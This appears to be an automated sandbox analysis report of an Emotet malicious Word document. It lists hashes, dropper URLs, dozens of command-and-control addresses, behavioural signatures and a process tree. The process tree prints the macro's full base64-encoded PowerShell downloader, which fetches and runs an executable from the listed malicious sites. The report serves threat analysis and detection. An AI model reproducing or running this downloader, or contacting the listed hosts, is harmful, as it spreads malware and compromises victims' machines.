emotet | dfa76e9900bf8cbd12e33296a77b645201adf2d0fd4977e777eb203cd11f1b3d

General

Target
emotet_e3_dfa76e9900bf8cbd12e33296a77b645201adf2d0fd4977e777eb203cd11f1b3d_2020-08-20__174502._doc.doc
Size 238KB
Sample200820-pyxdcfj1xj
SHA256 dfa76e9900bf8cbd12e33296a77b645201adf2d0fd4977e777eb203cd11f1b3d
MD5 8375248d899d53f0cd297c20edd49cc2
SHA1 6f3d0339192c95d192e9edfab42273cfb8846914
SHA512 398ade31536b6796e73d40fcb1abde1d58aa2ea0263992b1242edfc1e917c9342f5c67d0db1148cccef85d2a9979ef8c3d7a5f575144e8a595c0c109c80c0817
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://synergiktattoo.com/vrryt/JxBJtEjuoMa/
exe.dropper
http://intelligence.com.sg/registration/OmicxcEM/
exe.dropper
http://justinkongyt.com/wp-includes/fwArIAQ/
exe.dropper
http://octaitsolutions.com.br/tdse_n_merzn/eJcng/
exe.dropper
https://coolcomputers.info/mail/vjfhVt/
exe.dropper
http://mastermindgroup.co.in/wp-content/v1k751/
exe.dropper
http://tastes2plate.com/wp-content/uploads/JEToKmid/

Extracted

Family

emotet

C2

173.94.215.84:80
85.25.207.108:8080
178.128.14.92:8080
60.125.114.64:443
181.126.54.234:80
157.7.164.178:8081
95.216.205.155:8080
216.75.37.196:8080
179.62.238.49:80
71.57.180.213:80
172.96.190.154:8080
112.78.142.170:80
178.238.232.46:443
177.144.130.105:443
105.209.235.113:8080
46.105.131.68:8080
185.86.148.68:443
143.95.101.72:8080
75.127.14.170:8080
168.0.97.6:80
181.114.114.203:80
185.208.226.142:8080
201.235.10.215:80
177.32.8.85:80
37.46.129.215:8080
74.208.173.91:8080
190.212.140.6:80
202.5.47.71:80
41.185.29.128:8080
81.214.253.80:443
107.161.30.122:8080
46.32.229.152:8080
5.79.70.250:8080
115.79.195.246:80
113.161.148.81:80
179.5.118.12:80
178.33.167.120:8080
91.83.93.103:443
51.38.201.19:7080
185.142.236.163:443
118.70.15.19:8080
181.134.9.162:80
105.213.67.88:80
217.199.160.224:8080
192.210.217.94:8080
197.249.6.179:443
86.57.216.23:80
86.98.143.163:80
181.113.229.139:443
201.213.177.139:80
195.201.56.70:8080
172.105.78.244:8080
190.190.15.20:80
190.53.144.120:80
139.59.12.63:8080
87.106.231.60:8080
66.61.94.36:80
198.57.203.63:8080
177.37.81.212:443
192.241.220.183:8080
115.78.11.155:80
188.0.135.237:80
78.189.60.109:443
31.146.61.34:80
175.29.183.2:80
203.153.216.178:7080
181.137.229.1:80
188.251.213.180:443
177.94.227.143:80
192.163.221.191:8080
50.116.78.109:8080
197.221.158.162:80
139.99.157.213:8080
77.74.78.80:443
81.17.93.134:80
190.164.75.175:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	900	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3972-15-0x0000000000770000-0x000000000077C000-memory.dmp	emotet
behavioral2/memory/3972-15-0x0000000000770000-0x000000000077C000-memory.dmp	emotet
behavioral2/memory/2064-18-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet
behavioral2/memory/2064-18-0x00000000020D0000-0x00000000020DC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
19	2668	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3972	J0z5myj.exe
2064	Windows.Management.Workplace.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDUSA\Windows.Management.Workplace.exe	J0z5myj.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2668	powersheLL.exe
2668	powersheLL.exe
2668	powersheLL.exe
2064	Windows.Management.Workplace.exe
2064	Windows.Management.Workplace.exe
2064	Windows.Management.Workplace.exe
2064	Windows.Management.Workplace.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2668	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
3972	J0z5myj.exe
3972	J0z5myj.exe
2064	Windows.Management.Workplace.exe
2064	Windows.Management.Workplace.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 3972	2668	powersheLL.exe	74
PID 2668 wrote to memory of 3972	2668	powersheLL.exe	74
PID 2668 wrote to memory of 3972	2668	powersheLL.exe	74
PID 3972 wrote to memory of 2064	3972	J0z5myj.exe	77
PID 3972 wrote to memory of 2064	3972	J0z5myj.exe	77
PID 3972 wrote to memory of 2064	3972	J0z5myj.exe	77

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_dfa76e9900bf8cbd12e33296a77b645201adf2d0fd4977e777eb203cd11f1b3d_2020-08-20__174502._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4028

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABKAGcAbwBlAGIAZwBzAD0AKAAnAEgAaAByAHAAZAAnACsAJwBqACcAKwAnAGUAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgB0AGUATQBwAFwATwBGAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAHUAUgBgAEkAdABZAFAAYABSAE8AYABUAE8AYwBgAG8AbAAiACAAPQAgACgAJwB0AGwAJwArACcAcwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACAAdAAnACsAJwBsAHMAJwApADsAJABTADAAaQBlAGoANAB2ACAAPQAgACgAJwBKACcAKwAnADAAegA1AG0AeQBqACcAKQA7ACQAQwBqADYAdgAwADkAOAA9ACgAJwBGACcAKwAnADkAbABmACcAKwAnAHoAZwAzACcAKQA7ACQASgB3ADMAOAB4AGsAMQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAeQBkACcAKwAnAFQATwBmAGYAaQBjAGUAMgAwADEAOQB5AGQAJwArACcAVAAnACkAIAAtAFIAZQBQAGwAQQBjAEUAKABbAGMASABBAFIAXQAxADIAMQArAFsAYwBIAEEAUgBdADEAMAAwACsAWwBjAEgAQQBSAF0AOAA0ACkALABbAGMASABBAFIAXQA5ADIAKQArACQAUwAwAGkAZQBqADQAdgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARABlAHcAcAA1AGwAMAA9ACgAJwBWADgAJwArACcAMwAnACsAJwBrAGQAMgB2ACcAKQA7ACQASwB5ADMAZABxAGUAdQA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAFQALgBXAGUAYgBDAGwAaQBlAE4AdAA7ACQATgA1AG0AdQB1AGcAYwA9ACgAJwBoAHQAJwArACcAdABwADoALwAvACcAKwAnAHMAeQAnACsAJwBuAGUAcgAnACsAJwBnAGkAawB0AGEAdAB0AG8AbwAuACcAKwAnAGMAbwAnACsAJwBtACcAKwAnAC8AdgByACcAKwAnAHIAeQB0AC8ASgB4AEIASgB0AEUAJwArACcAagB1AG8ATQAnACsAJwBhAC8AKgBoAHQAdABwACcAKwAnADoAJwArACcALwAvAGkAbgAnACsAJwB0AGUAbABsAGkAZwBlAG4AYwBlAC4AJwArACcAYwBvAG0ALgBzAGcALwByAGUAZwBpACcAKwAnAHMAdAByACcAKwAnAGEAdABpAG8AbgAnACsAJwAvAE8AbQBpAGMAeABjAEUATQAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8ALwBqAHUAcwAnACsAJwB0ACcAKwAnAGkAbgBrAG8AbgBnAHkAdAAnACsAJwAuAGMAJwArACcAbwBtAC8AdwBwAC0AaQAnACsAJwBuAGMAbAB1AGQAZQAnACsAJwBzAC8AZgB3AEEAcgBJAEEAUQAvACoAaAB0AHQAcAA6AC8ALwAnACsAJwBvAGMAJwArACcAdABhAGkAdABzAG8AbAB1AHQAaQBvAG4AJwArACcAcwAuAGMAbwBtACcAKwAnAC4AJwArACcAYgByAC8AdABkAHMAZQAnACsAJwBfAG4AXwBtAGUAJwArACcAcgB6AG4AJwArACcALwBlAEoAYwBuACcAKwAnAGcALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAGMAJwArACcAbwBtAHAAJwArACcAdQB0AGUAcgBzACcAKwAnAC4AJwArACcAaQBuAGYAbwAvAG0AYQBpAGwALwB2AGoAJwArACcAZgBoAFYAdAAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBtAGEAcwB0AGUAcgAnACsAJwBtAGkAbgAnACsAJwBkAGcAcgBvAHUAJwArACcAcAAnACsAJwAuACcAKwAnAGMAJwArACcAbwAuAGkAbgAvAHcAcAAtAGMAbwAnACsAJwBuAHQAZQBuAHQAJwArACcALwB2ADEAawA3ADUAJwArACcAMQAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwB0AGEAcwB0ACcAKwAnAGUAcwAyAHAAbAAnACsAJwBhAHQAJwArACcAZQAuAGMAbwBtAC8AdwAnACsAJwBwAC0AYwBvACcAKwAnAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwAnACsAJwBKAEUAVABvAEsAbQBpAGQALwAnACkALgAiAFMAUABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBmAGEAMwBsADgAMQA9ACgAJwBIADIAaAAnACsAJwBmADkAJwArACcAXwB3ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE4ANAA2AHkAbABjAGsAIABpAG4AIAAkAE4ANQBtAHUAdQBnAGMAKQB7AHQAcgB5AHsAJABLAHkAMwBkAHEAZQB1AC4AIgBEAGAATwBXAGAATgBsAG8AYQBkAGYAaQBsAGUAIgAoACQATgA0ADYAeQBsAGMAawAsACAAJABKAHcAMwA4AHgAawAxACkAOwAkAEYAcwAxAGkAYgA1AG8APQAoACcASABwADIAYgBnACcAKwAnAHcAeAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQASgB3ADMAOAB4AGsAMQApAC4AIgBMAGUAYABOAEcAVABoACIAIAAtAGcAZQAgADIAOQAzADkANwApACAAewAuACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABKAHcAMwA4AHgAawAxACkAOwAkAFEAaAB1AGYAXwA3AGkAPQAoACcASABmAGMAZQA1AHMAJwArACcANwAnACkAOwBiAHIAZQBhAGsAOwAkAE8AZAB2AGIAbQB4AGUAPQAoACcARgByACcAKwAnADgAZgAnACsAJwB6AGcAeQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMANABsADMAYwBiAGgAPQAoACcATQAnACsAJwA1ADMAeQBtACcAKwAnAHoAcgAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Users\Admin\AppData\Local\Temp\Office2019\J0z5myj.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\J0z5myj.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3972
- - C:\Windows\SysWOW64\KBDUSA\Windows.Management.Workplace.exe
    "C:\Windows\SysWOW64\KBDUSA\Windows.Management.Workplace.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2064

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2064-18-0x00000000020D0000-0x00000000020DC000-memory.dmp

Download

memory/2668-9-0x00007FFCC7640000-0x00007FFCC802C000-memory.dmp

Download

memory/2668-10-0x00000265B27A0000-0x00000265B27A1000-memory.dmp

Download

memory/2668-11-0x00000265B2950000-0x00000265B2951000-memory.dmp

Download

memory/3972-15-0x0000000000770000-0x000000000077C000-memory.dmp

Download

memory/4028-0-0x00007FFCCEBC0000-0x00007FFCCF286000-memory.dmp

Download

memory/4028-6-0x0000027CD134B000-0x0000027CD13B5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads